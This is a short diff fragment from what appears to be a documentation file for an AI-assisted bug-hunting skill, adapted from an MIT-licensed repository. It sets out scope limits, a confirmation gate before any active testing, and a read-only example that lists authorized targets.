+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.